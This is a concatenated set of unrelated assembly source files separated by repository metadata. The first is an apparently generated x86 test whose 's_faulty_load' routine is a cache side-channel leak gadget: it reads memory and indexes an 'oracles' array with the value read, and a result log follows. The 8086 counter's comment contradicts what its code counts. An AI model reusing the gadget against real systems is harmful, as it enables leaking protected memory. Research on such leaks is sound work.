"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2538.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x3ea0, %r12
nop
nop
nop
nop
nop
sub $36893, %r8
movb $0x61, (%r12)
nop
nop
nop
nop
sub $28923, %r11
lea addresses_A_ht+0x137b0, %r10
nop
nop
nop
nop
inc %rsi
movl $0x61626364, (%r10)
nop
nop
nop
nop
nop
xor %r10, %r10
lea addresses_D_ht+0x15920, %r8
nop
nop
nop
nop
nop
sub %rdi, %rdi
movb (%r8), %r11b
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WT_ht+0x7ba0, %r12
nop
nop
nop
dec %r8
mov $0x6162636465666768, %r11
movq %r11, %xmm5
movups %xmm5, (%r12)
lfence
lea addresses_WC_ht+0xd4a0, %rdi
add $60701, %rsi
mov $0x6162636465666768, %r14
movq %r14, %xmm4
and $0xffffffffffffffc0, %rdi
vmovaps %ymm4, (%rdi)
nop
nop
dec %r12
lea addresses_UC_ht+0x8442, %rsi
lea addresses_WC_ht+0x1ba0, %rdi
nop
nop
nop
sub $61303, %r12
mov $110, %rcx
rep movsw
nop
add $15361, %r10
lea addresses_WT_ht+0xc4a0, %rcx
nop
nop
nop
nop
nop
inc %r14
mov (%rcx), %di
nop
nop
sub $55620, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %rax
push %rbx
push %rcx
push %rsi
// Faulty Load
lea addresses_normal+0x194a0, %rbx
nop
nop
nop
nop
nop
and %rsi, %rsi
mov (%rbx), %eax
lea oracles, %rcx
and $0xff, %rax
shlq $12, %rax
mov (%rcx,%rax,1), %rax
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_A_ht', 'same': True, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 38.896552 | 2,999 | 0.66117 |
3132e0cb0fdae075d34f6e503ba4cdbacdb3b108 | 770 | asm | Assembly | raggruppaLettere.asm | edoardottt/Asm_mars_examples | 4c763ef94a7345a03313b1626aed9642e07e0dad | [
"Unlicense"
] | 21 | 2019-06-29T19:56:20.000Z | 2021-09-08T08:06:52.000Z | raggruppaLettere.asm | edoardottt/Asm_mars_examples | 4c763ef94a7345a03313b1626aed9642e07e0dad | [
"Unlicense"
] | null | null | null | raggruppaLettere.asm | edoardottt/Asm_mars_examples | 4c763ef94a7345a03313b1626aed9642e07e0dad | [
"Unlicense"
] | 7 | 2019-10-11T19:30:48.000Z | 2022-02-11T08:08:53.000Z | # RAGGRUPPA TUTTE LE LETTERE ALL'INIZIO E GLI ALTRI CARATTERI ALLA FINE
.data
richiesta: .asciiz "inserire una stringa (max 100 caratteri)\n"
stringa: .space 31
.text
li $v0,4
la $a0,richiesta
syscall
li $v0,8
la $a0,stringa
la $a1,30
syscall
len:
lb $s0,stringa($s1)
beq $s0,10,main
addi $s1,$s1,1
addi $s2,$s2,1
j len
main:
subi $s2,$s2,1
jal raggruppa
li $v0,4
la $a0,stringa
syscall
li $v0,10
syscall
raggruppa:
bge $t0,$s2,JR
lb $t1,stringa($t0)
j verifica
scambia:
lb $t8,stringa($s2)
sb $t1,stringa($s2)
sb $t8,stringa($t0)
subi $s2,$s2,1
j raggruppa
verifica:
sle $t2,$t1,'Z'
sge $t3,$t1,'A'
and $t4,$t2,$t3
sle $t2,$t1,'z'
sge $t3,$t1,'a'
and $t5,$t2,$t3
or $t6,$t4,$t5
beq $t6,0,scambia
addi $t0,$t0,1
j raggruppa
JR:
jr $ra
| 14.807692 | 71 | 0.651948 |
8ea3801034407f328c44fd556bd88f9f8eca2460 | 1,225 | asm | Assembly | code/dsryhh/19.asm | KongoHuster/assembly-exercise | 1c4a44c60c0e93a1350ed4f887aeaf1414702a51 | [
"0BSD"
] | 1 | 2021-08-20T03:57:29.000Z | 2021-08-20T03:57:29.000Z | code/dsryhh/19.asm | KongoHuster/assembly-exercise | 1c4a44c60c0e93a1350ed4f887aeaf1414702a51 | [
"0BSD"
] | null | null | null | code/dsryhh/19.asm | KongoHuster/assembly-exercise | 1c4a44c60c0e93a1350ed4f887aeaf1414702a51 | [
"0BSD"
] | null | null | null | ;19、从键盘输入一系列以 $ 为结束符的字符串，然后对其中的非数字字符计数，并显示出计数结果。
.model small
.data
strings db '1234fdsa56fdsafdsa7fdsa890$'
.code
start:
mov ax,@data
mov ds,ax
call counter
mov ah,4ch
int 21h
counter proc
push ax
push bx
push dx
push si
mov bx,offset strings
mov si,0
mov ax,0
startcount:
mov dl,[bx][si]
cmp dl, '0'
jl nextloop
cmp dl,'9'
jg nextloop
inc ax
nextloop:
cmp dl,'$'
je display
inc si
jmp startcount
display:
mov dx,10
div dl
add al,'0'
add ah,'0'
push ax
mov dl,al
mov ah,02h
int 21h
pop ax
mov dl,ah
mov ah,02h
int 21h
pop si
pop dx
pop bx
pop ax
ret
counter endp
end start
| 19.444444 | 48 | 0.347755 |
bb82f7430b86474b2733091fb00a17abacf685d1 | 6,018 | asm | Assembly | coverage/IN_CTS/0517-COVERAGE-block-frequency-info-impl-h-1389-1303-1311-1343-1328-640-665-650-614-93-681-1332-619-621-620-618-239-1220-1254-246-257-dense-set-h-90/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | null | null | null | coverage/IN_CTS/0517-COVERAGE-block-frequency-info-impl-h-1389-1303-1311-1343-1328-640-665-650-614-93-681-1332-619-621-620-618-239-1220-1254-246-257-dense-set-h-90/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | 47 | 2021-03-11T07:42:51.000Z | 2022-03-14T06:30:14.000Z | coverage/IN_CTS/0517-COVERAGE-block-frequency-info-impl-h-1389-1303-1311-1343-1328-640-665-650-614-93-681-1332-619-621-620-618-239-1220-1254-246-257-dense-set-h-90/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | 4 | 2021-03-09T13:37:19.000Z | 2022-02-25T07:32:11.000Z | ; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 110
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %25 %85
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %10 "func(f1;"
OpName %9 "x"
OpName %25 "gl_FragCoord"
OpName %33 "buf1"
OpMemberName %33 0 "_GLF_uniform_float_values"
OpName %35 ""
OpName %75 "param"
OpName %85 "_GLF_color"
OpName %88 "buf0"
OpMemberName %88 0 "_GLF_uniform_int_values"
OpName %90 ""
OpDecorate %25 BuiltIn FragCoord
OpDecorate %32 ArrayStride 16
OpMemberDecorate %33 0 Offset 0
OpDecorate %33 Block
OpDecorate %35 DescriptorSet 0
OpDecorate %35 Binding 1
OpDecorate %85 Location 0
OpDecorate %87 ArrayStride 16
OpMemberDecorate %88 0 Offset 0
OpDecorate %88 Block
OpDecorate %90 DescriptorSet 0
OpDecorate %90 Binding 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeFloat 32
%7 = OpTypePointer Function %6
%8 = OpTypeFunction %6 %7
%17 = OpTypeBool
%18 = OpConstantTrue %17
%23 = OpTypeVector %6 4
%24 = OpTypePointer Input %23
%25 = OpVariable %24 Input
%26 = OpTypeInt 32 0
%27 = OpConstant %26 1
%28 = OpTypePointer Input %6
%31 = OpConstant %26 4
%32 = OpTypeArray %6 %31
%33 = OpTypeStruct %32
%34 = OpTypePointer Uniform %33
%35 = OpVariable %34 Uniform
%36 = OpTypeInt 32 1
%37 = OpConstant %36 0
%38 = OpConstant %36 2
%39 = OpTypePointer Uniform %6
%49 = OpConstant %26 0
%56 = OpConstant %36 3
%62 = OpConstant %36 1
%84 = OpTypePointer Output %23
%85 = OpVariable %84 Output
%86 = OpConstant %26 2
%87 = OpTypeArray %36 %86
%88 = OpTypeStruct %87
%89 = OpTypePointer Uniform %88
%90 = OpVariable %89 Uniform
%91 = OpTypePointer Uniform %36
%4 = OpFunction %2 None %3
%5 = OpLabel
%75 = OpVariable %7 Function
%76 = OpAccessChain %28 %25 %49
%77 = OpLoad %6 %76
OpStore %75 %77
%78 = OpFunctionCall %6 %10 %75
%79 = OpAccessChain %39 %35 %37 %62
%80 = OpLoad %6 %79
%81 = OpFOrdEqual %17 %78 %80
OpSelectionMerge %83 None
OpBranchConditional %81 %82 %105
%82 = OpLabel
%92 = OpAccessChain %91 %90 %37 %37
%93 = OpLoad %36 %92
%94 = OpConvertSToF %6 %93
%95 = OpAccessChain %91 %90 %37 %62
%96 = OpLoad %36 %95
%97 = OpConvertSToF %6 %96
%98 = OpAccessChain %91 %90 %37 %62
%99 = OpLoad %36 %98
%100 = OpConvertSToF %6 %99
%101 = OpAccessChain %91 %90 %37 %37
%102 = OpLoad %36 %101
%103 = OpConvertSToF %6 %102
%104 = OpCompositeConstruct %23 %94 %97 %100 %103
OpStore %85 %104
OpBranch %83
%105 = OpLabel
%106 = OpAccessChain %91 %90 %37 %62
%107 = OpLoad %36 %106
%108 = OpConvertSToF %6 %107
%109 = OpCompositeConstruct %23 %108 %108 %108 %108
OpStore %85 %109
OpBranch %83
%83 = OpLabel
OpReturn
OpFunctionEnd
%10 = OpFunction %6 None %8
%9 = OpFunctionParameter %7
%11 = OpLabel
OpBranch %12
%12 = OpLabel
OpLoopMerge %14 %15 None
OpBranch %16
%16 = OpLabel
OpBranchConditional %18 %13 %14
%13 = OpLabel
OpBranch %19
%19 = OpLabel
OpLoopMerge %21 %22 None
OpBranch %20
%20 = OpLabel
%29 = OpAccessChain %28 %25 %27
%30 = OpLoad %6 %29
%40 = OpAccessChain %39 %35 %37 %38
%41 = OpLoad %6 %40
%42 = OpFOrdLessThan %17 %30 %41
OpSelectionMerge %44 None
OpBranchConditional %42 %43 %44
%43 = OpLabel
OpBranch %45
%45 = OpLabel
OpLoopMerge %47 %48 None
OpBranch %46
%46 = OpLabel
OpBranch %48
%48 = OpLabel
%50 = OpAccessChain %28 %25 %49
%51 = OpLoad %6 %50
%52 = OpAccessChain %39 %35 %37 %38
%53 = OpLoad %6 %52
%54 = OpFOrdLessThan %17 %51 %53
OpBranchConditional %54 %45 %47
%47 = OpLabel
OpBranch %44
%44 = OpLabel
%55 = OpLoad %6 %9
%57 = OpAccessChain %39 %35 %37 %56
%58 = OpLoad %6 %57
%59 = OpFOrdLessThan %17 %55 %58
OpSelectionMerge %61 None
OpBranchConditional %59 %60 %61
%60 = OpLabel
%63 = OpAccessChain %39 %35 %37 %62
%64 = OpLoad %6 %63
OpReturnValue %64
%61 = OpLabel
OpBranch %22
%22 = OpLabel
%66 = OpAccessChain %28 %25 %27
%67 = OpLoad %6 %66
%68 = OpAccessChain %39 %35 %37 %38
%69 = OpLoad %6 %68
%70 = OpFOrdLessThan %17 %67 %69
OpBranchConditional %70 %19 %21
%21 = OpLabel
OpBranch %15
%15 = OpLabel
OpBranch %12
%14 = OpLabel
%71 = OpAccessChain %39 %35 %37 %37
%72 = OpLoad %6 %71
OpReturnValue %72
OpFunctionEnd
| 34.586207 | 61 | 0.483217 |
686f2443429459fac4ef717cc00566ecf2c116bd | 360 | asm | Assembly | demos/SicDemos/link-factorial/stack.asm | roycrippen/sicxe | fdca37f56c95f2a76a78455f86a90e4b89329a54 | [
"MIT"
] | null | null | null | demos/SicDemos/link-factorial/stack.asm | roycrippen/sicxe | fdca37f56c95f2a76a78455f86a90e4b89329a54 | [
"MIT"
] | null | null | null | demos/SicDemos/link-factorial/stack.asm | roycrippen/sicxe | fdca37f56c95f2a76a78455f86a90e4b89329a54 | [
"MIT"
] | null | null | null | stack START 0
EXTDEF stinit
EXTDEF push
EXTDEF pop
stinit STA stackptr . initialize stack at the address from A
RSUB
push STA @stackptr . push value from A to stack
LDA stackptr
ADD #3
STA stackptr
RSUB
pop LDA stackptr . pop value from stack to A
SUB #3
STA stackptr
LDA @stackptr
RSUB
stackptr RESW 1 . stack pointer
| 18 | 64 | 0.694444 |
f41eab505b817332a460090b049276729046642d | 465 | asm | Assembly | libsrc/video/hd44780/asm_lcd_get_ddram_addr_4x20.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/video/hd44780/asm_lcd_get_ddram_addr_4x20.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/video/hd44780/asm_lcd_get_ddram_addr_4x20.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_driver
PUBLIC asm_lcd_get_ddram_addr_4x20
; Calculate DDRAM address for 4x20 HD44780
; Row 0: 0x00 - 0x13
; Row 1: 0x40 - 0x53
; Row 2: 0x14 - 0x27
; Row 3: 0x54 - 0x67
;
; Entry:
; b = y
; c = x
; Exit:
; l = ddram address
; Preserves:
; de
asm_lcd_get_ddram_addr_4x20:
ld hl,hd44780_4x20_rows
row_inc:
ld a,(hl)
inc hl
djnz row_inc
add c
ld l,a
ret
; Offsets for the start of each row
hd44780_4x20_rows:
defb $00, $40, $14, $54
| 14.090909 | 43 | 0.675269 |
2f7577500c8d34adf25986813c8bd7e86d979615 | 431 | asm | Assembly | oeis/109/A109576.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/109/A109576.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/109/A109576.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A109576: E.g.f.: x/(1+3x-4x^3)=x/[1-T(3,x)], where T(3,x) is a Chebyshev polynomial.
; Submitted by Jon Maiga
; 0,1,-6,54,-552,6840,-97200,1577520,-28667520,578067840,-12798777600,308836281600,-8065907942400,226719600307200,-6824229456844800,219010610827008000,-7465397891567616000,269363867734241280000,-10256545055212904448000
mov $1,1
mov $3,$0
lpb $3
mul $1,$3
mul $2,-2
add $2,$1
mul $2,$3
sub $3,1
lpe
mov $0,$2
| 28.733333 | 218 | 0.712297 |
6f062f155e9bd543d88b619ff8e5f040bfa658e0 | 195 | asm | Assembly | src/music.asm | headkaze/zxnext_dual_vt_sound | 957fc57e102a569caddd5455714cc06c30080d5f | [
"MIT"
] | null | null | null | src/music.asm | headkaze/zxnext_dual_vt_sound | 957fc57e102a569caddd5455714cc06c30080d5f | [
"MIT"
] | null | null | null | src/music.asm | headkaze/zxnext_dual_vt_sound | 957fc57e102a569caddd5455714cc06c30080d5f | [
"MIT"
] | null | null | null | SECTION BANK_33
PUBLIC _music_module_0
_music_module_0:
BINARY "../binary/space_horror_0.pt3"
SECTION BANK_34
PUBLIC _music_module_1
_music_module_1:
BINARY "../binary/space_horror_1.pt3"
| 12.1875 | 37 | 0.810256 |
76652affa4d092bf5eee1eaeab2ff13139662eb9 | 279 | asm | Assembly | src/Ninu.Emulator.Tests/Cpu/TestFiles/flags.6502.asm | jorgy343/Ninu | e0fb8b4edeb15eee2199bfb9a8e64bb838d9114c | [
"MIT"
] | null | null | null | src/Ninu.Emulator.Tests/Cpu/TestFiles/flags.6502.asm | jorgy343/Ninu | e0fb8b4edeb15eee2199bfb9a8e64bb838d9114c | [
"MIT"
] | null | null | null | src/Ninu.Emulator.Tests/Cpu/TestFiles/flags.6502.asm | jorgy343/Ninu | e0fb8b4edeb15eee2199bfb9a8e64bb838d9114c | [
"MIT"
] | null | null | null | .include "..\..\..\Cpu\TestFiles\std.6502.asm"
; All of the flag tests will run the clear and set instructions twice each.
* = $0000
.init
; Carry
clc
sec
clc
sec
; Decimal Mode
cld
sed
cld
sed
; Interrupt Disable
cli
sei
cli
sei
.done
.vectors | 9.964286 | 76 | 0.62724 |
fcc49d8ce64375478f443af7c7265e8de8fb8c5c | 655 | asm | Assembly | oeis/115/A115327.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/115/A115327.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/115/A115327.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A115327: E.g.f.: exp(x + 3/2*x^2).
; Submitted by Jon Maiga
; 1,1,4,10,46,166,856,3844,21820,114076,703216,4125496,27331624,175849480,1241782816,8627460976,64507687696,478625814544,3768517887040,29614311872416,244419831433696,2021278543778656,17419727924101504,150824111813492800,1352785338576496576,12212121389147978176,113671021782385221376,1066216490135927519104,10273569254509130450560,99835754425927042055296,993636279568221391254016,9978854177901655176230656,102387028177746244562854144,1060357029256305141480997120,11196672818853183353203557376
mov $3,1
lpb $0
mul $1,$0
sub $0,1
mov $2,$3
add $3,$1
mov $1,3
mul $1,$2
lpe
mov $0,$3
| 43.666667 | 491 | 0.822901 |
72303a3dbdbbfefec53abb118974131f10712a9a | 144 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Over-p.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Over-p.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Over-p.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: Over-p.asm
Type: file
Size: 17019
Last-Modified: '1992-07-29T15:00:00Z'
SHA-1: AA7095172F07A61D8950610328079C2DEEE4BBE9
Description: null
| 20.571429 | 47 | 0.805556 |
7ab3bcfafab5f7dfdeceb1610cb20fdc18be3b33 | 570 | asm | Assembly | programs/oeis/239/A239868.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/239/A239868.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/239/A239868.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A239868: Sum of sigma(i) mod i for i from 1 to n.
; 0,1,2,5,6,6,7,14,18,26,27,31,32,42,51,66,67,70,71,73,84,98,99,111,117,133,146,146,147,159,160,191,206,226,239,258,259,281,298,308,309,321,322,362,395,421,422,450,458,501,522,568,569,581,598,606,629,661,662,710,711,745,786,849,868,880,881,939,966,970,971,1022,1023,1063,1112,1176,1195,1207,1208,1234,1274,1318,1319,1375,1398,1444,1477,1481,1482,1536,1557,1633,1668,1718,1743,1803,1804,1877,1934,1951
lpb $0
mov $2,$0
sub $0,1
seq $2,54024 ; Sum of the divisors of n reduced modulo n.
add $1,$2
lpe
mov $0,$1
| 51.818182 | 400 | 0.705263 |
393b708114e63f5049b7ab37019e7142e5ca4e49 | 2,711 | asm | Assembly | asm/Tutorial/Graphics/01_draw_colored_box.asm | clydeshaffer/GameTankEmulator | ed84475c8de65973b1366898b8a12784ed0b8c46 | [
"MIT"
] | 3 | 2020-04-16T13:28:07.000Z | 2021-08-17T03:39:19.000Z | asm/Tutorial/Graphics/01_draw_colored_box.asm | clydeshaffer/GameTankEmulator | ed84475c8de65973b1366898b8a12784ed0b8c46 | [
"MIT"
] | null | null | null | asm/Tutorial/Graphics/01_draw_colored_box.asm | clydeshaffer/GameTankEmulator | ed84475c8de65973b1366898b8a12784ed0b8c46 | [
"MIT"
] | null | null | null | .org $E000
DMA_Flags = $2007
;DMA flags are as follows
; 1 -> DMA enabled
; 2 -> Video out page
; 4 -> NMI enabled
; 8 -> G.RAM frame select
; 16 -> V.RAM frame select
; 32 -> CPU access bank select
; 64 -> Enable copy completion IRQ
; 128 -> Transparency copy enabled (skips zeroes)
;This sets up some handy names for memory addresses to make the code clearer
DMA_VX = $4000
DMA_VY = $4001
DMA_GX = $4002
DMA_GY = $4003
DMA_WIDTH = $4004
DMA_HEIGHT = $4005
DMA_Status = $4006
DMA_Color = $4007
;This program will demonstrate the DMA engine by drawing a blue rectangle
;
RESET:
;code here will get run once when the system boots
;This setting will give the DMA engine exlusive access to video memory
;The CPU will access the DMA control parameters instead
LDA #%01000001
STA DMA_Flags
;The DMA engine is controlled by setting each of its parameter registers,
;then sending the value 1 to DMA_Status.
;Width and height are set to 16x21 ($10 x $15 in hex)
;Width and height values can go from 1 to 127
;(The 8th bit is reserved for a special feature we'll cover later)
LDA #$10
STA DMA_WIDTH
LDA #$15
STA DMA_HEIGHT
;Set the top left corner of the drawing area to ($20, $30) or (32, 48)
LDA #$20
STA DMA_VX
LDA #$30
STA DMA_VY
;Normally GX,GY are the coordinates in the Graphics RAM to copy from, sort of like a sprite sheet.
;Here we aren't drawing sprites, and set GX to 128. The 8th bit here tells the engine
;to draw the color stored in DMA_Color instead of a sprite
LDA #$80
STA DMA_GX
STZ DMA_GY
;Colors on the GameTank are stored as HHHSSBBB:
; 3-bit Hue which selects the color of the rainbow to draw
; 2-bit Saturation indicates how vibrant the color is.
; 3-bit Brightness for how light/dark the color is
; When drawing using the DMA_Color register, the number must be inverted to get the right color.
LDA #68
STA DMA_Color
;Finally store a 1 in DMA_Status to trigger the drawing process.
;DMA drawing is simultaneous with CPU execution, so you can continue running
;code while drawing completes
LDA #1
STA DMA_Status
;However, you do need to wait for a DMA draw command to finish before starting another one.
;The WAI instruction pauses the CPU until any interrupt signal is received.
;If the 7th bit of DMA_Flags is set, then the DMA engine will send an IRQ interrupt when it finishes.
WAI
Forever:
JMP Forever
IRQ:
;code here will run after certain interrupts (if enabled)
;such as when a DMA draw call completes
RTI
NMI:
;code here will run once per frame (if enabled)
RTI
.org $FFFA
.dw NMI
.dw RESET
.dw IRQ | 28.840426 | 103 | 0.706381 |
8fc48d386b5d2ff0504ba1b4bbac61928a30d32e | 2,046 | asm | Assembly | 07/MemoryAccess_tests/StaticTest/StaticTest.asm | ashiroji/Nand2Tetris | 1eba908d0134ecbc7c6e8e252558caa8725ed70c | [
"MIT"
] | null | null | null | 07/MemoryAccess_tests/StaticTest/StaticTest.asm | ashiroji/Nand2Tetris | 1eba908d0134ecbc7c6e8e252558caa8725ed70c | [
"MIT"
] | null | null | null | 07/MemoryAccess_tests/StaticTest/StaticTest.asm | ashiroji/Nand2Tetris | 1eba908d0134ecbc7c6e8e252558caa8725ed70c | [
"MIT"
] | null | null | null | //push constant 111
@111 //A=index
D=A //D is now the constant
@SP
A=M //A = @SP
M=D //M[A] = value to push
@SP
M=M+1 //sp+1
//push constant 333
@333 //A=index
D=A //D is now the constant
@SP
A=M //A = @SP
